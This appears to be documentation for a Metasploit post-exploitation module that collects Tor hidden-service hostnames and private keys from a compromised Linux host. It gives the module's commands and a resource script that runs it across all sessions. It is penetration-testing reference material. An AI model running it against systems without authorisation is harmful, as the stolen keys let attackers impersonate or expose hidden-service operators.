This module collects the hostnames name and private keys of any TOR Hidden Services running on the target machine. It will search for torrc and if found, will parse it for the directories of Hidden Services. However, root permissions are required to read them as they are owned by the user that TOR runs as, usually a separate account.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/tor_hiddenservices

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/tor_hiddenservices
msf post(tor_hiddenservices) > show options
    ... show and set options ...
msf post(tor_hiddenservices) > set SESSION session-id
msf post(tor_hiddenservices) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/tor_hiddenservices")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.
